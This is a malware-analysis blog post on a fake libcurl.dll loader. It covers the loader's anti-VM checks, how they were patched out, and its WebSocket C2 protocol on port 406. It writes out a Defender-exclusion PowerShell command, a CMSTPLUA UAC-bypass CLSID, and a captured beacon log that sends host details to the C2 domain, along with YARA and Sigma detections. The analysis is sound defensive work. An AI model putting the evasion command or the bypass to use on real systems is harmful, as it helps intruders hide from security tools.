> ## Content Index
> Fetch the complete content index at: https://f4n6.co.uk/llms.txt
> Use this file to discover other available public pages before exploring further.

# Six Gates to the Bot: Patching a Fake libcurl.dll Loader's Anti-VM Checks and Emulating Its WebSocket C2
- URL: https://f4n6.co.uk/six-gates-to-the-bot-patching-a-fake-libcurl-dll-loaders-anti-vm-checks-and-emulating-its-websocket-c2/
- Published: 2026-09-29T15:52:02.000Z
- Updated: 2026-09-29T15:52:02.000Z
- Description: A loader disguised as libcurl refuses to run on VMs and dies silently in sandboxes. We patched its six anti-VM checks out and captured its WebSocket C2 on port 406.
- Author: Jeff Davies
- Tags: malware, Reverse Engineering

> This analysis was run on my local llm with my "malbox" mcp, this is just to demonstrate the art of possible. Since all of the news headlines are about the big US AI companies who AI escaped their "sandbox". I figure it would put mine to some good use.

## TL:DR

- A two-stage Windows intrusion chain ships as a **fake `libcurl.dll`** that a legit-looking host process side-loads. The export the host calls is `curl_easy_init`, and it refuses to run unless it is already running with administrator rights.
- Stage 2 is a 608 KB x64 bot that **refuses to run on virtualised, headless or sandbox hardware**. Six anti-analysis checks run from the binary's static initialisers and call `ExitProcess(0)` on any hit. A typical sandbox detonation therefore ends in a silent two-second exit with zero network traffic which is exactly how this sample was previously written off as inert.
- We reversed its string obfuscation (a small rotation/XOR cipher), recovered all 216 strings, then **patched the six gates out with a single `ret` byte each**. On the same VMware guest it now installed itself and beaconed within seconds.
- Its C2 is a **raw-socket WebSocket on TCP 406** the two suspicious strings `406` and `408` in the binary are ports, not HTTP status codes with a 64-name fallback DGA built from six chunks of `{lav|ini}` under `duckdns[.]org`.
- With a listener that completes the WebSocket handshake, the bot registered itself as `ready;<c: volume serial>;version;1.0.0`, answered `getinfo;` with the host's antivirus product, Windows edition and user name, and replied `pong` to `ping`.
- The takeaway for triage: for this cluster, **a silent sandbox run means "wrong hardware", not "harmless"**.

## A loader that hides from the analyst, not just from the AV

The sample arrived as the now-familiar shape: a password-protected archive containing an EXE that is really a DLL, a fake `lcurl.dll` (1,257,984 bytes, `bbe9c468…`, PE32+ x64). The legitimate-looking host binary side-loads it and calls the one export it cares about, `curl_easy_init`. That export is a gatekeeper, and its first order of business is an administrator check: `AllocateAndInitializeSid` for the local `Administrators` alias, then `CheckTokenMembership`. Fail, and you get a `MessageBoxA` reading *"run with administrator rights"* and an `ExitProcess`.

Pass, and it decrypts an embedded payload, writes it to `%TEMP%` under a **freshly randomised 12-character name on every run**, and launches it. The stage-2 binary is byte-identical across runs (`97bfd8a0…`, 608,256 bytes) only the filename changes. One nice build detail: stage 2's compile timestamp is **seven seconds before** the loader's (17:48:16 vs 17:48:23 UTC on 2026-09-28), so both were built in one sitting.

That staged payload is where the interesting part starts.

## Six gates, and the reason nothing ever happened

Stage 2 carries a set of anti-analysis checks, and the first thing to understand about them is *when* they run. They are not called from `main`. They are reached through `jmp` thunks in the initialiser pointer table at `.rdata 0x906c0`–`0x90780`, i.e. they execute as part of CRT static initialisation before any of the program's own logic. The suite itself lives at `0x46d0` and does `Sleep(500)`, then calls six functions in sequence:

| RVA    | What it looks for                                                       | How                                                                                                                                                                                                                                                                                                                   |
| ------ | ----------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0x1500 | Display refresh rate **below 50 Hz** (headless / RDP / sandbox default) | EnumDisplaySettingsW(NULL, ENUM\_CURRENT\_SETTINGS, …), checks DEVMODEW.dmDisplayFrequency at offset 0xB8                                                                                                                                                                                                             |
| 0x1660 | Any of **21 VM/hypervisor driver modules** present                      | GetModuleHandleA over VBoxGuest.sys, VBoxMouse.sys, VBoxSF.sys, VBoxVideo.sys, vboxdrv.sys, vmmouse.sys, vmhgfs.sys, vm3dmp.sys, vmci.sys, vmxnet.sys, qemupci\*.sys, prl\_\*.sys, xen\*.sys                                                                                                                          |
| 0x1ee0 | Any of **3 VM device paths** openable                                   | CreateFileA on \\\\.\\VBoxMiniRdrDN, \\\\.\\HGFS, \\\\.\\prl\_usb\_mouse → CloseHandle \+ exit                                                                                                                                                                                                                        |
| 0x3190 | CPUID **hypervisor vendor signature**                                   | leaf 1 hypervisor bit, then leaf 0x40000000 vs KVMKVMKVM, VMwareVMware, XenVMMXenVMM, prl hyperv , VBoxVBoxVBox, QEMU, KVM, VMware, Xen, prl, VBox, Hyper                                                                                                                                                             |
| 0x3a50 | **Sandbox GPU adapter names**                                           | d3d9.dll / Direct3DCreate9 plus registry enumeration, matched against Microsoft Basic Render Driver, VMware SVGA II/3D, VirtualBox Graphics Adapter, QXL, Virtio GPU, Hyper-V Video, Parallels Display Adapter, Citrix Indirect Display Adapter, Standard VGA Graphics Adapter, and — the honest one — **anyrun GPU** |
| 0x4510 | CPUID **brand string**                                                  | leaves 0x80000002–4 vs Broadwell, G6900                                                                                                                                                                                                                                                                               |

Every one of them ends in `ExitProcess(0)`. So on our VMware guest `VMwareVMware` on CPUID, `VMware SVGA II` for a GPU the process died roughly two seconds after launch (500 ms sleep included), **before it ever touched the network**. The DNS sinkhole, the HTTP emulator, the packet capture: none of it mattered. The sample was not failing to reach its C2; it was refusing to run in our house.

That is the whole reason this sample has a reputation for being inert. Automated analysis reports "exits, no behaviour" which is true, and useless.

## Peeling the strings: a tiny cipher, 216 strings

Before patching anything we wanted to know what the binary would do once it *did* run, and that meant its strings. They are all encrypted, and the cipher turned out to be charmingly small. Two primitives, both operating bytewise with the index `i`:

```
keystream(i)     = (i * 13 + 0x95) & 0xFFplaintext[i]     = ror8(cipher[i], (i % 7) + 1) ^ keystream(i)
```

The binary ships 54 unrolled decryptor loops one per string length in both a byte variant (ASCII strings) and a word variant for UTF-16, where only the low byte of each word is transformed. Each accessor decrypts its blob into a slot in the module TLS block and returns that pointer. Mapping every call site to its decryptor gave us all **216 strings** at once, and the picture became clear:

- `C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe` the install path, masquerading as a Microsoft service component
- `Global\RuntimeBrokerAdsA` a single-instance mutex
- `mops[.]to`, and a bare `.duckdns[.]org` suffix
- the bot vocabulary: `ready;`, `;version;`, `ping`, `pong`, `getinfo`, `info;`, `task`, `checkserver;`
- `1.0.0`, `406`, `408`, and a ten-digit `8533912863`
- `GET /task/%s HTTP/1.1` and a WebSocket upgrade template with the RFC 6455 *example* key hardcoded (`dGhlIHNhbXBsZSBub25jZQ==` yes, they shipped the sample nonce)
- a Defender exclusion command: `powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'" && gpupdate /force`
- injection targets (`winlogon`, `explorer.exe`, `smartscreen`), ntdll natives for memory writes and thread creation, AMSI patching, and a CMSTPLUA UAC bypass (`Elevation:Administrator!new:` \+ CLSID `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}`)
- Microsoft-lookalike persistence names: `MicrosoftUpdaterMachineCoreA`, `ProgramDataUpdateA`, `ScheduledDefA`, `SvcRestartTaskWindowsLoginsA`

Two numbers stood out as odd: `406` and `408`. We assumed HTTP status codes. We were wrong.

## One byte per gate

The fix is almost disrespectful to the amount of work that went into those checks. Each gate function is entered with a stack-frame setup and returns void, so overwriting its first byte with `0xC3` (`ret`) removes it entirely:

| RVA                                    | Patched byte                  |
| -------------------------------------- | ----------------------------- |
| 0x1500, 0x1660, 0x1ee0, 0x3190, 0x4510 | 48 81 ec … → c3 81 ec …       |
| 0x3a50                                 | 56 48 81 … → c3 48 81 …       |
| 0x46d0 (the suite)                     | 48 83 ec 28 … → c3 83 ec 28 … |

Seven `ret`s, 608 KB binary, and the same VMware guest that the sample was built to avoid becomes a perfectly acceptable home. We staged the patched copy in `C:\analysis` and ran it under the malbox agent with remnux standing in as the internet: a DNS sinkhole on the analysis network answering every query with its own IP, INetSim on 80, and a packet capture.

The first run did something new: it stayed alive. It copied itself to `C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe` byte-identical to the running image, `certutil` confirmed and then sat there. No DNS, no TCP, no persistence, no injection. Five minutes of nothing.

The second run answered the question. Running **the installed copy** rather than the staged one produced a beacon in about ten seconds:

```
09:34:29  192.168.174.128   A   mops.toNET  09:34:30  192.168.174.50:406  SYN_SENT  pid=3848
```

Port **406**. The "HTTP status codes" were the C2 ports, and the bot had been trying to reach `mops[.]to:406` the entire time. With nothing listening there, it fell back to its DGA: 64 names built from six chunks of `lav` or `ini` appended to `.duckdns[.]org,` `lavlavlavlavlavlav`, `lavlavlavlavlavini`, … `iniiniiniiniiniini` queried in binary-counting order about three seconds apart, each followed by a WebSocket handshake attempt. The odd two-entry pointer table we had been staring at in `.rdata` was the fragment list all along.

## Meeting the bot

A TCP listener that completes the WebSocket handshake is all it took to get the rest. The bot's own messages are the interesting part. *(The captures that follow are shown verbatim hostnames undefanged as primary evidence.)*

```
bot → c2   GET / HTTP/1.1           Host: mops.to           Upgrade: websocket           Connection: Upgrade           Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==           Sec-WebSocket-Version: 13c2  → bot  101 Switching Protocolsbot → c2   ready;a2c9ad2f;version;1.0.0c2  → bot  getinfo;bot → c2   info;Windows Defender;Windows 10  Enterprise;REM;8533912863c2  → bot  pingbot → c2   pong
```

Reading that:

- `**a2c9ad2f**` is the volume serial number of the system drive (`A2C9-AD2F`), lowercased the bot's install identifier. Same trick as a hundred other families, but derived from the volume serial rather than a GUID or MAC.
- `**8533912863**` the ten-digit mystery string is the last field of the `info;` reply: a campaign/group identifier baked into the build.
- The `info;` payload is exactly what the string table promised: AV product (via WMI `AntiVirusProduct` under `ROOT\SecurityCenter2`), Windows product name and edition, and the user name.
- `ready;` and `;version;` bracket the version field, which is why those strings looked like fragments: the build assembles them.
- Port **408** is referenced in the binary but never used by this build; 406 carried everything. The `GET /task/%s` HTTP template also went unused in our window presumably a task-fetch path we did not provoke.

Everything is semicolon-delimited over binary WebSocket frames, and there is no User-Agent anywhere, because there is no HTTP stack: the bot talks raw sockets from `ws2_32`. That is why nothing showed up in the HTTP emulator until we got the port right.

## Detection and hunting

The DNS and network side is the highest-fidelity place to catch this cluster, because `mops[.]to` and the `{lav|ini}` duckdns pattern are mechanical and specific:

- Alert on outbound **TCP 406**. This C2 will never appear in a web-proxy log on 80/443.
- Alert on DNS queries for `mops[.]to`, and on any `*.duckdns[.]org` name consisting of six lowercase chunks of `lav`/`ini` (all 64 are listed in our IOC file; the pattern is trivially matchable).

On the host:

- `C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe` and `C:\ProgramData\Microsoft\Windows\` legitimate Windows has no `RuntimeBroker` under `ProgramData`.
- The Defender exclusion command line above, and the resulting exclusions (`Get-MpPreference`).
- The mutex `Global\RuntimeBrokerAdsA`.
- Scheduled-task and COM names listed earlier, though note we did **not** observe them being created: in our run the bot beaconed first and the persistence stage never got the chance.

Two YARA rules fell straight out of the work. The first matches the *encrypted* string blobs as they sit on disk since the cipher is positional, the ciphertext of the install path and the two C2 strings is stable and would carry to sibling builds even if they change campaign IDs:

```
rule lcurl_cluster_stage2_blobs{    meta:        description = "lcurl cluster stage 2: encrypted wide-string blobs"        author = "f4n6.co.uk"        date = "2026-09-29"    strings:        $install = { AD 00 62 00 9F 00 CE 00 77 00 6E 00 42 00 05 00 72 00 3B 00 35 00 A8 00 }        $mops    = { F1 00 37 00 FE 00 FC 00 FC 00 A8 00 46 00 E1 00 }        $duck    = { 77 00 1B 00 D6 00 FD 00 54 00 AC 00 C6 00 07 00 4F 00 2B 00 56 00 68 00 4C 00 }    condition:        uint16(0) == 0x5a4d and 2 of them}
```

The second keys on the author's own section name, `.strenc`, plus the plaintext UAC-bypass strings:

```
rule lcurl_cluster_stage2_strenc{    meta:        description = "lcurl cluster stage 2: PE32+ x64 with a .strenc section"    condition:        uint16(0) == 0x5a4d and        pe.number_of_sections > 5 and        for any i in (0..pe.number_of_sections - 1) : ( pe.sections[i].name == ".strenc" )}rule lcurl_cluster_uac_bypass_strings{    meta:        description = "lcurl cluster stage 2: CMSTPLUA UAC bypass strings"    strings:        $a = "Elevation:Administrator!new:" wide ascii        $b = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" wide ascii nocase        $c = "Global\\RuntimeBrokerAdsA" wide ascii        $d = "ProgramData\\Windows\\Microsoft" wide ascii nocase    condition:        uint16(0) == 0x5a4d and 2 of them}
```

And a Sigma for the self-exclusion, which is a high-signal process-creation event:

```
title: Defender exclusion added for ProgramData Windows/Microsoft pathslogsource:    category: process_creation    product: windowsdetection:    selection:        CommandLine|contains|all:            - 'Add-MpPreference'            - 'ExclusionPath'            - 'ProgramData\Windows\Microsoft'            - 'ProgramData\Microsoft\Windows'    condition: selectionlevel: high
```

## Lessons

**A silent sandbox result is a finding, not a verdict.** This sample's entire design assumes the analyst gives up when nothing happens. The counter is cheap: when a PE reliably dies in under three seconds with exit code 0 and no syscalls worth mentioning, look for initialiser-resident checks and patch them out. Seven bytes of `ret` turned "inert" into a full C2 protocol capture, and the same guest that failed every check became a working lab.

**The obfuscation only has to be good enough to make you lazy.** The string cipher here is a rotation and an XOR trivially reversible once you read the two primitives but it hides the install path, the C2, and the protocol vocabulary from every string-based triage tool. Half a day of reversing it was worth more than any amount of sandbox time.

**Attribution is still open.** We found no public family name for this build. It is self-labelled `1.0.0` with campaign id `8533912863`, matches the fake-libcurl DLL-sideload pattern we have seen before, and the DGA fragment table (`lav`/`ini`) looks like a placeholder the author never replaced — the names are nonsense, and half the space was never queried in our window. If you have seen `mops[.]to:406` or a `{lav|ini}` duckdns name in your telemetry, we would like to hear about it.

## Indicators

Hashes, defanged network indicators, paths and the full 64-name DGA list are in the accompanying technical report. The ones that matter most operationally:

- **C2:** `mops[.]to` TCP **406** (WebSocket, path `/`); fallback 64 × `<lav|ini ×6>.duckdns[.]org` on 406
- **Stage 1 (fake lcurl.dll):** SHA-256 `bbe9c46885ad9515f383f8df2346e778c272876153e137bc18f9d92e4145d2de`, MD5 `c5999f3d393bc49eb59cfade2719cc74`
- **Stage 2 (bot):** SHA-256 `97bfd8a0a504f37a0527b11a378384eac6126d7afb7f5305fbf2363f5e9d614b`, MD5 `a3c43649755ba086620c95b0ff62cf36`
- **Install path:** `C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe`
- **Mutex:** `Global\RuntimeBrokerAdsA`
- **Campaign id:** `8533912863`

*Samples were handled in an isolated, host-only lab with a sinkholed resolver and emulated services; no traffic left the test network.*